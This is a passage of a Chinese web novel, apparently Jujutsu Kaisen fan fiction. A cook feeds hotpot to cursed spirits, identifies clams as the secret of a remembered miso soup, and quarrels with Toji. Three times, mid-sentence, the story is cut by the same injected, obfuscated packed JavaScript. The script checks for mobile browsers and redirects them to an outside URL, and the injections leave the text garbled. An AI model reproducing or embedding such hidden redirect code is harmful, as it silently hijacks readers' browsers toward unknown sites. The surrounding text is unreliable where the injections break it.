“笑什么!不许笑!”漏瑚恼羞成怒:“这都是这小子领域的作用,是术式!” “所以……”栗秋焰带着笑意道:“吃饭吗?” 已经感受到饥饿迫近的死亡威胁的漏瑚:“……” 漏瑚老实了,屈服道:“吃。” 紧接着他立刻找补般大声道:“这只是顺势而为罢了!我知道你领域的规则效果,栗秋焰,你个人类厨师是做不出咒灵喜好料理的,等到你的领域结束……” 在真人爆发而出的幸灾乐祸的大笑声中,栗秋焰轻松地拿起锅铲,笑道:“那就等着瞧吧。” 如果说有什么神秘的种花料理,可以不分地区,近乎粗暴地征服绝大部分挑剔者的口味,那一定是——火锅。 锅子有很多种,南北两大派系下又有不少小类,比如广式打边炉、北京铜锅、贵州酸汤、东北酸菜白肉…… 不过栗秋焰最常做的,还是鲜香麻辣的重庆火锅。 火锅的做法很简单,灵魂来自于栗秋焰以前在家,自己提前做好的火锅底料。 八角、小茴香、桂皮、白扣、去籽草果、香砂…… 香果、陈皮、老扣、香茅、甘松、白胡椒…… 惰性出香慢的香料分为一堆,活性出香慢的香料再分做一堆,分开处理使得两者能够充分融合交织,不至参差不齐。接着香叶和辣椒泡胀后滤水,同样的红花椒青花椒增香增麻。 准备好豆母子、老豆瓣的豆瓣酱,然后是二荆条、灯笼椒、红辣椒和朝天椒等四种辣椒混合煮开切碎,制成的糍粑辣椒色泽鲜红、辣味鲜美而繁厚。 然后用质量上好的牛油,按顺序转火、依次放入,熬制的过程中不停翻炒,将其中蕴含的香和色全部炒出,一点冰糖去除炒制过程中可能产生的苦味,最后加入醪糟和白酒,完美调和各种香料,将所有食材的香味一齐爆发出来,激发至最大。 这还只是单纯的底料。栗秋焰做出来时,还得再加上老红油、新鲜的新制牛油,用已泡好出香的花椒配上辣椒,汤底不用水,而是用煮好的川蜀巴南的老鹰茶,解油的腻与火的热,颜色红亮滋味香醇,越吃越香。 火锅汤底熬制的过程中,只有栗秋焰十分淡定地看火看汤,随着扑鼻的浓郁香气愈盛,连已经蹭过栗秋焰不少饭的夏油杰都坐不住了,走来走去地看他,又是摸肚子又是摸鼻子,一秒十个小动作试图暗示栗秋焰。 更别提两个咒灵了。没吃过好东西的漏瑚第一次就面临重庆火锅这种剧烈的冲击,眼睛都直了。 “好了。” 栗秋焰去取烫火锅的食材,慢吞吞道:“火锅还是得边烫边吃,新鲜的才……你在干什么?” 他端着碗肉片丸子刚转身,就看见刚刚还发誓一口不吃的漏瑚已经拿勺子舀下去,似乎不顾滚烫的热油准备直接喝火锅汤。 看见栗秋焰惊讶的眼神,漏瑚才理智回归般放下了勺子。 “我……我就是看看。”漏瑚甚至连嘴硬都说不出来‘不吃’这话了,只是说:“反正按照领域规则我也是要吃的,嗯。” “小焰~” 真人用黏糊的声音贴过来,睁大眼睛试图展现自己的无辜。“也给我吃一点吧~我可是功臣耶。” “嗯?可是这不是……” 等等,好像领域的规则中,主人(栗秋焰)必须要【上菜】,食客也必须吃下,但好像确实……也没说其他人不能吃啊? “好像……也行。”栗秋焰迟疑道。 “不……” 漏瑚差点下意识出声,然后又瞬间咽了下去。这可是栗秋焰领域施展的手段!是人类的陷阱!他应该把这当作一场试炼、一个挑战,是栗秋焰剥夺人力量的穿肠毒药…… 但漏瑚也悲伤地不得不承认,还没吃,他竟然已经对穿肠毒药产生占有欲了。 但这一停顿,漏瑚也成功错过了最后的可能要求独享的机会。栗秋焰轻松地向真人点了一下头。 真人欢呼起来,立刻伸手去要拿装菜的碗,被一只手直接挡住。 “咳。”夏油杰眼看自己无论怎么暗示,这平时观察力敏锐得堪比侦探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14044404|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小子就是装看不见,于是索性开门见山道:“也带我一个。” “哦?”栗秋焰笑眯眯地飘他一眼:“来的路上,不是说伯母给你带了饭,绝对不吃我做的吗?” “……我承认,是因为你退学后,不止悟,其实我们都产生了戒断反应。”夏油杰沉重道:“本来好不容易挺过去了,想着不能再踏入地狱……但地狱实在太香了。” “嗯……” “求求你了,尊敬的世界第一厨子焰君!” 栗秋焰乐了,爽快地点头同意了。 食材被下进火锅。 在等待食物滚熟的过程中,空气陷入了短暂的寂静。两咒灵一人围坐在火锅边大眼瞪小眼,随着火锅鼓出第一个泡,气氛顿时变得危险起来。 比刚刚险些发生的特级战斗,还要更加浓重的火药味,开始随着热气漂浮在火锅上方,一触即发。 “哦,差点忘了,那个火山头,我给你调个蘸料。” 栗秋焰随手调了个正常的蘸料,然后加了一些……宿傩手指的粉末。 漏瑚并不知道只有他有这碗蘸料的内情,接过那碗蘸料时,突然有种莫名其妙的受宠若惊感。 “对了,还有。”栗秋焰突然想起了什么,“夏油……” “别说话。”夏油杰立刻打断,慎重而严肃道:“多说一句就少吃一口。这可是决胜的生死时刻!” 栗秋焰:“……”至于吗。 而随着第一片肉滚熟,栗秋焰才发现夏油杰没准并没有夸张。 战争,开始了! 速度、眼力、力量的角逐,正式拉开了帷幕! 漏瑚抢了三筷子才抢到第一块肉,沾了沾蘸料,连忙放进嘴里。 浓郁的鲜香麻辣瞬间爆发在口腔中,漏瑚的独眼中缓缓流下泪水。 “太……太好吃了……”漏瑚带着些已经预见到未来的悲戚,眼含热泪道:“我完蛋了……” 而随着第一口咽下,栗秋焰的视野中,漏瑚身上的标签也开始一个接一个亮起。 【辣】【香】【肉】【黑暗气息】…… 条件达成。 漏瑚感受到身体像是开了个口子,咒力如流水般泄出,甚至因为已经有了心理准备,并没有多加震惊,只是麻木又自暴自弃地多抢了两片肉。 但无论多充足的心理准备,还是在看到栗秋焰伸出手的时候破防了。 “你在干什么!我问你你在干什么!” “啊。”栗秋焰很淡定地说:“我在用你的领域【盖棺铁围山】煮火锅啊,怎么了?” 漏瑚倒吸了一口气,震怒道:“你简直大材小用、倒反天罡……等等,真人你干嘛?!” 真人把从漏瑚碗里偷的肉塞进嘴里,笑嘻嘻道:“你不吃我帮你吃。” “滚开,叛徒,还给我!”百般悲愤化为一体,漏瑚怒道:“都是因为你,这都是我的断头饭了……你还要抢?!” 而就在此时,夏油杰默默地又趁机多抢了几口。 “别吵了,一致对外!不能让那个人类看笑话——” 总之,一顿鸡飞狗跳的火锅,直到栗秋焰准备的食材全部吃完后,这场战争才终于停止。 “我倒是从来没想到,这辈子还能和咒灵坐一起吃饭,真是不可思议……”夏油杰喃喃道,想起了什么,看向栗秋焰:“栗秋,你刚刚想跟我说什么?” “哦,没事。”栗秋焰说:“我就是想问你,伯母给你带的饭,你打算怎么办?” 夏油杰:“……靠。你怎么不等我撑死了再提醒我?” “不是你不让我说的么。” “这下真坏了。完全忘记了……现在根本吃不下去一点了。回家肯定会被骂。”夏油杰深吸了一口气,满含期望地看向栗秋焰:“尊敬的焰君……” “好吧,拿来。”栗秋焰想了想:“正好让我尝试一下……”都是霓虹普通主妇,没准,会有点共通之处呢? “喏,就是这个。”夏油杰拿出一个便当盒。 栗秋焰凑过去看了看,奇怪道:“散寿司?” “嗯,之前不就跟你说过,我在给家里帮忙么。”夏油杰叹了口气:“是我妈那边的亲戚,有个女儿全家都爱若明珠,这才几月份,竟然已经开始准备明年的女儿节了……” 一瞬间,那个终至的灵感猛然如闪电般划过脑海。 桃花、雏人偶、庆典……一连串的记忆全部串联起来,点向了那个最终的答案。 “女儿节,竟然是女儿节!果然是女儿节!” 栗秋焰跳起来,一把抓住夏油杰的肩,激动地前后摇晃。 “我知道了,我知道那道味增汤里的海鲜,到底是什么了!” 被摇得头晕的夏油杰一脸懵:“……啊?” 29.记忆中的味增汤·转 女儿节,霓虹十分重要的节日,甚至有人将它称之为霓虹民间的五大节日之一。 比较被大众接受的一种说法是,其发源自种花的上巳节,在平安时代传入霓虹。这项习俗远可追溯至周朝时期,每到三月的第一个巳日,即后来民间俗称的“三月三”时,人们便会以香熏的兰草沐浴,之后前往水边一同举行群体性的祭祀活动,即“祓禊”。 ……说实话,第一次放下帐念“由暗而生,比黑更黑,污浊残秽,皆尽祓禊”时,栗秋焰就不止一次嘀咕过……为什么咒术中的很多术语,总觉得和种花的一些传统宗教祭祀有重合。 传说平安时代是咒术的鼎盛时期,那时也正好是唐朝遣唐使来往密切的时期……该不会咒术的发展除了受本土阴阳术的影响,还受了一些种花家的影响吧?比如天人观念之类的…… 不过霓虹与种花重合的古用词多了去了,连两面宿傩出场的《日本书纪》都全是用汉字写的呢,这种推测就像自以为是的坐井观天,根本站不住脚。 说回女儿节。虽然发源自种花,但在种花的上巳节已消隐于历史尘埃中的现在,霓虹的女儿节反而延续至今,成为了庆祝女孩平安健康,饱含家长祝愿与期待的节日。 每到三月三日,有女儿的人家就会放上精致的雏人偶,家中装饰以桃花,同时也多会准备相应的节庆食物,比如散寿司、菱饼,还有…… 蛤蜊汤。 “祈愿女儿与未来的丈夫感情顺利、生活美满的蛤蜊汤……”栗秋焰恍然大悟:“对了,也说过这道汤是家传秘方,这下都串起来了——蛤蜊,是蛤蜊!” 夏油杰:“……你在这莫名其妙地说什么呢,又在研究新菜谱?” “绝对没错,强烈的鲜味,冷后的腥味……” 栗秋焰心思已经完全不在这里了,他的手从夏油杰肩上缓缓滑脱,出神地嘴里念念有词,抬脚就要往外走,然后被夏油杰抓住后衣领一把拽了回来。 “你给我回来。”夏油杰无奈道:“这还有正事呢——这两个咒灵怎么办?” 栗秋焰立刻反驳:“天底下做饭就是最大的正事。” 不过这一拉栗秋焰倒也回过神来了,他看向吃饱后瘫倒在地上,不知为何表情还有些麻木的漏瑚,伸出手仔细感受了一下—— 嗯,果然,身为咒力聚合体的咒灵,一旦被抽走了全部咒力,就会短暂地归于他的掌控。栗秋焰碧绿的眼眸透过张开的手指,凝视着掌心后的漏瑚。 一股奇异的感觉像是幽烟升起般闯入脑海——没错,他已征服这个生命。此刻,一切全凭他的喜好与心意。他可以抹去漏瑚的智性、让其成为自己的仆从;他可以任意操纵这个生命,即使践踏取乐也未尝不可—— 栗秋焰打了个寒颤,立刻放下了手。 “……怎么回事,这根本不像我会产生的想法。”栗秋焰敲了敲自己的脑壳,伸手推身旁的夏油杰,嫌弃得像丢一块烫手山芋,“去,你去,你去把吸收了。” 夏油杰怔了一下,被推着往前,转过头来看栗秋焰。 “喂,焰,虽然之前那么说了……”夏油杰抬起眼看了旁边的真人一眼,“我不知道你又折腾出了什么奇怪的东西,但明显,你也有了使役咒灵的能力吧?这可是具有极强战力的特级咒灵……” “我要真那么在乎战力,早在一年级的时候就郁闷死了。” 栗秋焰满不在乎地说,拿着手中装着散寿司的盒子向夏油杰摇了摇。 “我的想法从来没变过,我就是个厨子,只想成为世界第一大厨。”拥有明亮眼眸的少年笑道:“真感觉不好意思的话,令堂的这盒散寿司作为谢礼,就足够啦——没准我还得倒找你一杯好酒呢。” 夏油杰愣住了,停顿了很长时间,才慢慢笑起来。 “这可是你说的。”夏油杰笑道:“我记住了——什么时候请我?” 栗秋焰:“……喂这就自个儿约上了,我警告你小夏子不要蹬鼻子上脸。” 一旁的漏瑚听着他们随意讨论着自己的归属,不禁悲从中来,唰地站起来,用一种慨然赴死般的声音悲壮道。 “不要得意得太早,咒术师!我虽然一着不慎,踏入了你们的陷阱,但你们又能控制我多久?十年、还是百年?” 漏瑚昂起头。 “不过是区区蛰伏等待的时间罢了!咒灵的生命是永恒的,就算你们杀死我,另一个我也会在百年后重新归来。即使现在咒灵势弱,我们仍会以永恒的生命为吾等持续奋斗,总有一天,这天下将会是咒灵的天下!” 漏瑚的独眼中溢出热泪:“我……” “那么多话。” 栗秋焰一收领域,接着以迅雷不及掩耳之速出手,强行把漏瑚揉成了一个球。 他掂了掂手里的球,乐道:“跟我还演上热血剧了,你这演讲水平连小学生的红旗下讲话都选不上。” 夏油杰:“……需要我提醒一下吗,咒灵玉不是那么搓的,你只是把他压成了一个球状物体。” 手中的漏瑚球还活着,挣扎着发出带着挤压气音的嗡鸣。 “我……之……一生……”漏瑚发出最后一声漏气气球般的声音:“一片、无悔悔悔——” 栗秋焰很淡定地把球塞给夏油杰。 “吃啊,怎么不吃。”栗秋焰说:“小夏子啊,这咒灵,可是十分的珍贵……” 夏油杰:“……” 夏油杰沉默了一下,伸手将漏瑚球变成了一枚咒灵玉。他凝视着咒灵玉仿若变换流动的光泽,接着微微地深吸了一口气,仰头张嘴,将咒灵玉放入口中。 喉结一动,咒灵玉滚了下去,夏油杰脸上却十分明显地一愣。 “怎么了?”栗秋焰问道。 “好奇怪。这枚咒灵玉,竟然不是很难吃。” 夏油杰有些惊奇地摸着自己的喉咙,仔细回味了一下,咂了咂嘴:“还有股火锅味儿。” 栗秋焰:“……?” “而且,还有一点很奇怪……”夏油杰感受了一下,喃喃道:“总感觉这个特级咒灵的强度,没有我设想的那么高……” “小焰——” 真人趴在桌边,笑嘻嘻道:“你忘关火了哦。” 栗秋焰与夏油杰都是一怔,接着两人视线缓缓移动,定格在了火锅下仍簇簇燃着的小火上。 之前领域展开满足条件后,栗秋焰曾用漏瑚的领域【盖棺铁围山】煮火锅。现在,领域已经结束,而且漏瑚明明已经被夏油杰收服了。 ——但仍有火焰稳定地燃烧着,风吹过,连动都不动一下。 栗秋焰眼皮一跳,低头看向自己的手掌。 然后就看到一丝黑红的色彩闪过岩浆般的熔亮,迅速融化消失在了掌心中。 升起火焰掌控感的栗秋焰:……卧槽啊! 似乎是因为剥夺真人术式时,那种腾跃弥漫起的奇异感触实在太过令人沉醉,身体已经自发地食髓知味,在栗秋焰粗暴地揉球递球这一极短暂的经手过程中,下意识剥夺了一部分原属于漏瑚的术式——就像没忍住舔了一下酸奶盖。 栗秋焰凝视着手心,难得严肃起来,沉下了脸色。——他讨厌超脱控制的感觉。即使是自己,也不行。 就在他心中暗暗决定,接下来都要更加有意识地去细致控制术式时,栗秋焰一抬头,看到夏油杰正死亡凝视着他。 栗秋焰:“……” 夏油杰:“这火?” 栗秋焰望天望地,装傻地嘿嘿一笑:“……其实,这是俺拾得嘞。” “栗秋焰!你的术式到底怎么回事,别想蒙混过关——” / 在栗秋焰再次成功糊弄过夏油杰,顺利回到家中时,已经是接近晚饭的点了。 门一开,众人目光瞬间聚集过来。 “没吃呢吧?”栗秋焰探头过来看看桌上:“你们吃啥……这不还是中午的剩菜?我没回来你们就准备吃这个?” 惠惠凑过来,本想接过来帮栗秋焰提手上的东西,闻言一愣:“那吃什么?” “当然是新烧啊!”栗秋焰恨铁不成钢道:“惠惠啊,你都跟我学做饭这么久了,该是时候试着独立烧出第一道菜了吧!我像你这么大的时候——” “诶,栗秋哥哥,这是蛤蜊?”惠直接打断施法,好奇地扒着塑料袋往里看,“今天是要试蛤蜊吗?” 甚尔动了动,视线移了过来。 栗秋焰嗯了声,提着半袋子蛤蜊就风风火火地往厨房走,自信满满地拍胸:“相信我,绝对是了!我这次有充足的信心!” “哥哥每次都这么说呢。”津美纪叹了口气:“明明更喜欢有新意且完美的菜式不是吗?现在一直花时间在这种重复的东西上,太辛苦啦……” 甚尔的眼神微微地闪动了下。 “不不不,这次真的不一样!除了蛤蜊没有别的可能了!” 栗秋焰压根没注意到那边,他站在灶台前,摩拳擦掌地看着那盆蛤蜊,眼睛发亮。 蛤蜊,因其为双贝壳类海鲜,不同蛤蜊的上下壳无法闭合,每一只蛤蜊的壳都是唯有一对的天生契合。所以在霓虹文化中,蛤蜊就拥有了代表专一爱情的象征意义,而女儿节的蛤蜊汤,也就寄托了家长们对女儿未来感情顺利、夫妇恩爱的祝愿与期许。 在悠悠升起的热气中,栗秋焰看着汤中蛤蜊的壳微微张开,露出一汪晶莹柔软的白,像是新娘羞涩的微笑。 她每次在做这道汤,到这一步放入蛤蜊的时候,会是什么表情呢?是像做花瓣占卜的女孩一样认真地在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14100000|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里虔诚默念,还是觉得自己幼稚,却又忍不住地笑起来? 你又在许什么愿望呢?是期许爱情愈加深厚,还是在祈祷……这样温暖的日常一直延续下去,长长久久、永不结束? 味增汤朴实家常的鲜甜味升起,似乎无声地诉说着答案。 他端起锅往外走,正好撞上就靠在门口的甚尔。 栗秋焰与甚尔对视了一眼,他没有说什么她很爱你之类的话,他只是说…… “她很喜欢和你一起生活的日子啊。”栗秋焰感叹道:“她很在乎你。” 甚尔沉默了片刻。 “……啊。”甚尔缓缓开口:“我知道。” “尝尝看?” 栗秋焰放下碗。 甚尔坐在椅子上,凝视着味增汤清亮的汤面,和汤底微微开口的蛤蜊。他拿起勺子,又停住,这一次,他犹豫的时间比以往任何一次都要长。 “我说,栗秋焰。” 甚尔突然开口,他低着头看不清表情,只是声音有点紧绷起来。 “仔细想想,我原先那个‘只要做出这道汤,她就能原谅我回来’的想法,其实完全是扯淡的吧?我当时也真是脑子坏了,这种完全没道理,跟个狗屁的童话故事一样的东西……” “我喜欢童话故事。” 栗秋焰打断,推了推他,催促道:“现在放弃跟逃避有什么区别?我都没说啥呢,你喝就完了。” 甚尔沉默了。他微微抬起眼皮,栗秋焰一瞬间还以为他会说出什么类似于“有时候逃避也不错”之类的话,但甚尔的嘴唇动了动,却没有作声。他只是深深地看了一眼栗秋焰,然后将汤勺送入了口中。 “怎么样,想起来了吗?”栗秋焰很紧张。 “我……”甚尔喃喃道。 甚尔闭上了眼睛。 经由栗秋焰所做的味增汤,他一步步地接近着自己的回忆。第一次,他看见了妻子的恋爱;上一次,他看见了妻子的婚礼,而这一次,他看见了妻子的生产。 那是惠诞生的那天。——也是她成为母亲的那天。 甚尔记得自己顾不上看刚出生的婴儿,只是紧紧地握着妻子的手。他看见自己的手在细微地颤抖。 妻子很狼狈。她身上脸上都是汗,看起来很虚弱。但那双看过来的眼睛十分有力量,像是清楚地看透了什么——但那又是一种坚定而柔和的力量,近乎于同情与理解。 “甚尔……” 甚尔低下头,他看见妻子眼中蕴着的希望的光亮,他从那眼中看到自己。 “甚尔,你……”妻子看着他,缓缓地,仿佛也从他的眼中看着自己,“……还有我。我们……有家了。我们有家了。” 甚尔吐出一口气,猛地睁开眼。 “我想起来了……一部分。但停了。”甚尔喘着气,他的语气很遗憾,但其中却夹杂着自己都没意识到的庆幸,“还有一点,只有那一点点……” “哪一点?”栗秋焰心态倒很平和。 “一点……咸味……”甚尔下意识就回答了栗秋焰的话,接着猛地反应过来,“等等,那真的是特别小的一点点,你已经做的够还原了,不可能完全……” “我知道,我估摸着大概是味增的差别,带来的味道上细微的不同。”栗秋焰很淡定,挑起眉:“不过竟然能尝出来了——看起来你的舌头完全活了啊?” 甚尔沉默下来。他暗绿色的眼睛沉沉地、认真地凝视着栗秋焰。 “……你不用再坚持的。这一点差别,不是穷举法能解决的东西,你比我更清楚。后面只会不断浪费的时间精力,成百上千次的重复失败……” 甚尔环视周围,视线依次从沙发到桌上的饭菜,又从津美纪、惠脸上掠过,最后定定地回归到栗秋焰的绿眸。他停顿了一会儿后,慢慢张口道:“我觉得,现在这样就……” 现在这样就好。即使是这样由各种误会巧合拼凑起来的,胡闹般的奇怪家庭……但,现在这样就好。 “说什么呢?” 栗秋焰奇怪道,少年的意气与自信总是闪耀得理直气壮,“我当然可以做出最好的——我可是栗秋焰!” 甚尔深吸了一口气。他看着栗秋焰,眼神复杂,嘴唇动了动,似乎有什么话要说,但又咽了回去。 从那天以后,甚尔就不再整日闲在家中,经常一天都看不到人影。但栗秋焰每次想找人帮忙时,他又会像什么吓人的恐怖npc一样突然刷新出来,有时脸臭沉默,有时又松散贫嘴,帮完忙后又突然失踪,神出鬼没得连感官敏锐的栗秋焰有时都被吓一跳,更别提两个小孩了。 而且这都不是重点,栗秋焰也懒得管甚尔又去做什么了,他只关心一件很严肃的事情—— 甚尔,不再愿意喝汤了。 30.记忆中的味增汤·转 今天出摊时,鼻腔中隐约飘进了一丝桂花的甜香。 “秋天也真是要到了啊。” 栗秋焰抽了抽鼻子,站在巷尾浓深的荫暗处,探头四处找那绿叶间那粒粒的米黄小花。 但桂花没看见,反而被雨丝迎面吹了口湿润的凉气。栗秋焰抖了抖,还是老老实实地又缩了回去。 最近不知道谁拍了他的照片传到网上,搞得突然多了一大批心思不在吃饭上的人对他围追堵截,栗秋焰不得不被迫每天换地儿,地方也换得越来越偏——这不,下雨了,方圆一公里却连个卖伞的地方都没有。 “这雨什么时候停呢……”栗秋焰托着腮,望着外面的雨丝发呆:“啊……想吃藕粉桂花糖糕……” 在他看不见的身后,黑暗深处突然现出一抹银光,悄无声息地滑向栗秋焰的后心处。 但似乎是被脑海中的料理夺走了心神,平常敏锐的栗秋焰没有丝毫察觉,任凭那道冰冷的银光逐渐接近自己的背后—— 栗秋焰猛然回头出手,一把攥住了偷袭者的手腕! 但那人的动作迅速到不可思议,瞬间便变力换腕,反手一掀一捅,织物间银光一闪,彻底没入了栗秋焰的胸口。 栗秋焰立时打了个哆嗦,但手指仍牢牢攥着偷袭者的腕,他注视着眼前的人,碧绿的眼眸缓缓睁大,张开了口。 “我靠啊,可算让我逮住你了。”栗秋焰嘶了一声,另一只手伸进自己的胸口摸索,又被冻得一哆嗦:“……幼不幼稚啊?回去要是感冒了我一定找你算账。” 胸口的衣物处凸出的鼓起动了动,咚一声掉落在了地上,银亮也随之歪倒在地——那是金属制的伞柄。 这是一把……雨伞。 阴影中,被抓紧的手腕象征性地挣了两下,没挣动。细碎的雨声中,微哑的嗓音响起,暗绿的眼珠动了动。 “小狐狸。”甚尔眯起眼,从鼻子里嗤了一声,带着点懒散的笑意道:“钓鱼钓到老子头上了,还真上了你的当。” “这叫愿者上钩。真不想被逮住,看我挨淋就是了。” 栗秋焰笑一声,接着正了正表情。 “说真的,你为什么不愿意继续试了?”栗秋焰疑惑道:“努力了这么久,明明只差最后一步了啊。” 甚尔的笑意顿时消失了。他将地上的伞捡起来,连带着泥水粗暴地甩进栗秋焰另一只手里,淡淡道:“没什么原因。喝烦了而已。” “撒谎。你刚刚心跳快了两拍。” 栗秋焰捏着甚尔的脉搏斩钉截铁道。 但即使栗秋焰再如何敏锐,也自诩算是懂得人心,却实在对甚尔突然的转变摸不着头脑。 “到底为什么?” 甚尔的表情更淡了,唇角的刀疤鼓起,似乎代表着某种不耐的烦躁。他的眼神甚至变得有些冷。 “我倒奇怪,这事儿说到底跟你有关系么,栗秋焰?我都放弃了,你又在坚持个什么破劲儿?” 甚尔猛地一抽,栗秋焰被迫松开了手。 “如果你是想用老子这把好用的刀,故意演出这副尽心尽力的样儿,那大可不必。妈的,老子宁愿去杀几个崽种,比干你那些什么买菜、洗碗、修玻璃的杂活儿痛快多了。” 甚尔嗤笑一声,讥讽道:“还是说,我这坨绕不开的烂泥,挡了你成为世界第一大厨的路?嗯,天才?” 栗秋焰瞪着他,不可置信地停了好一会儿才猛地吸了一大口气。 虽然不是没有过好意被误解的经历,但以前栗秋焰都能一笑置之,这一次,他结结实实地被气到了。 “你以为你是谁?”栗秋焰咬牙道:“挡我的路,你还不够格!” 甚尔居高临下地注视着栗秋焰,阴影中的眼睛晦暗难辨,他垂下眼皮,忽地嘲讽般咧嘴一笑。 “这就对咯,我们的天才大人。”甚尔嘲道:“这个世界就是这样,你这种出生时老天爷就偏宠的幸运儿,就是得踩几个人才能再往上站……不然就会被烂泥拖死,懂么?” 栗秋焰瞪着他,一口气堵在胸口,气得几乎说不出来话。“你、你明明——” “我明明之前不是这样的?那你可真是大错特错,实话说,现在我自己一想到之前那副婆妈样子都恶心啊。” 甚尔夸张地做了个呕吐的表情,懒洋洋道。 “真遗憾,你高看我了,栗秋焰。那都只是失忆带来的假象,我没什么复杂的悲情深度——我就是个烂人,仅此而已。” “不是那种东西啊!我想说的是,你明明——” 栗秋焰高声打断,他盯着甚尔的眼睛,声音却慢慢地、一点点地低了下去。 他仍然怒火中烧。但他看着甚尔的眼睛,看着那双不论多少次、都一如既往认真记着他煮味增汤每一步的眼睛;看着那双隐在乱七八糟的讲述后、沉默且片刻不离地注视着妻子一颦一笑的眼睛,在勃然的怒火与湿润的桂花香气中,栗秋焰竟不合时宜地,升起了一丝近乎哀悯的情绪。 “——你明明,爱着人啊。”栗秋焰慢慢道:“连去爱人的回忆都恐惧着逃避的人……实在太可怜了,不是吗?” 甚尔的胸口猛地起伏了一下。他看着栗秋焰,瞳孔剧烈地收缩了几下,接着他突然捂住眼睛,仿佛听到了什么极为可笑的事般,哈哈大笑起来。 “我?爱?开什么玩笑,这玩意儿竟然能和我出现在同一个句子里?” 甚尔只笑了两声,声音便在喉咙处戛然而止。他放开手,冷冷地俯视着栗秋焰。 “那种东西,只有她和你这种幸福的傻子才会有。”甚尔淡淡道:“别用你的经历看我,小子。——我打从生下来就没那东西。” 栗秋焰没有说话,只是静静地看着他。在那双清澈的碧绿眼瞳中,甚尔心中再一次升起那熟悉的、被全然看透般的烦躁感。 “收起你的烂好心,栗秋焰。你又以为你是谁,大发善心渡世救人的佛陀吗?”甚尔嗤了一声,拍了拍栗秋焰仍冷着的心口,“就你?” 栗秋焰沉默着。 甚尔顿了顿,接着轻轻呼出一口气。 “停下吧。” 甚尔转身,丢下很轻的一句话,尾音消散在雨声中。 “这对你来说,没有任何意义啊。” 雨声细碎地淋着。 甚尔已经走了。栗秋焰将手中的雨伞转过一圈。 “一定要有意义吗?”他突然说,“人就不能做……没有意义的事吗?” 一柄明黄色的伞从雨中滑入巷内。一只手伸出,抓住了栗秋焰的衣角。 “哥哥。” 伞面抬起,本准备来送伞的津美纪仰着脸,黑白分明的眼睛望着他。 “你还要救他吗?”津美纪缓缓道:“——就像救我和小惠一样?” 栗秋焰笑了笑,顺手揉了下津美纪的头顶。 “我从来不救人。”栗秋焰说:“我只是个厨子,哪来的本事救人呢。” 就像料理一样。美食的魔力并不能扭转现实,它只是让人感受到纯粹的美好,从而升起一股希望的勇气——重新直面生活的勇气。 所以,如果有人感觉自己被拯救了,那一定是…… “救了你们的——”栗秋焰笑道:“从来都是你们自己啊。” / 【所以,宿主,你打算怎么办?】 栗秋焰从沉思中回神。“……我差点都忘了还有你这么个东西存在了。什么怎么办,做饭啊,还能怎么办。” 【……那道味增汤?但现在伏黑甚尔拒不合作,那毕竟是回忆里的复刻菜谱,即使是英明神武如宿主您,一个人也没办法推进进度啊。】 “我知道。”栗秋焰皱起眉:“而且差的那一点,估计就在味增上了。但这东西……光凭推测,是绝对不可能成功复刻的。如果能知道她当年用的是什么味增就好办了……” 想让甚尔喝下汤很简单,实在不行,直接逮住机会领域展开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14121121|138771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把汤上给他就是了。但关键是这种机会只有一次,想再下手甚尔就有防范了,几乎不可能再得手。 所以必须精准命中,一次复刻出最成功的完全体。 “但就这一步毫无头绪啊。假如是超市或店里买的就好了,但就麻烦在那是‘家传秘方’……” 【陛下,臣有一计。】 眼看自己终于有了表现机会,研读数日《宫廷心术》的系统终于支楞起来,语调都扬了起来。 “嗯?”栗秋焰挑眉:“说来听听。” 【既然是‘家传秘方’的话,说明那女人出生的那户人家,上一辈父母的配方肯定是相同的吧?】 “废话。我倒是想上门直接问,但就那么点信息,想找出她家的地址,还不如指望我灵光一闪。” 系统嘿嘿一笑。 【宿主,还记得被你遗忘许久的商城吗?看这个——一步速成名侦探:与动植物亲密对话,一键检索,迅速掌握所有线索!】 “对啊。”栗秋焰的眉头舒展开来,恍然大悟:“一个活生生的人,总是会有踪迹的。假如是植物的记忆的话,细节可能会模糊,但地址这东西不是分分钟?” 系统顿时激动了,此刻突蒙圣恩的奸臣与电视购物频道的导购在它身上合为一体,电子音极度亢奋地激昂起来。 【不愧是陛下,思考问题就是清楚明了!只要买了这个东西,一切问题都迎刃而解!为您分忧,现在不要9998,也不要998,只需要——】 “喂真人。”栗秋焰淡定道:“你认不认识植物系的咒灵,骗一个给我。” 系统的声音戛然而止。 “真认识啊,那太好了。”栗秋焰声音依旧平稳:“尽快,我有事……今天就行,这么快?哦是漏瑚的朋友,用漏瑚的消息钓出来……不愧是你。行,那就这样。” 系统:【……】 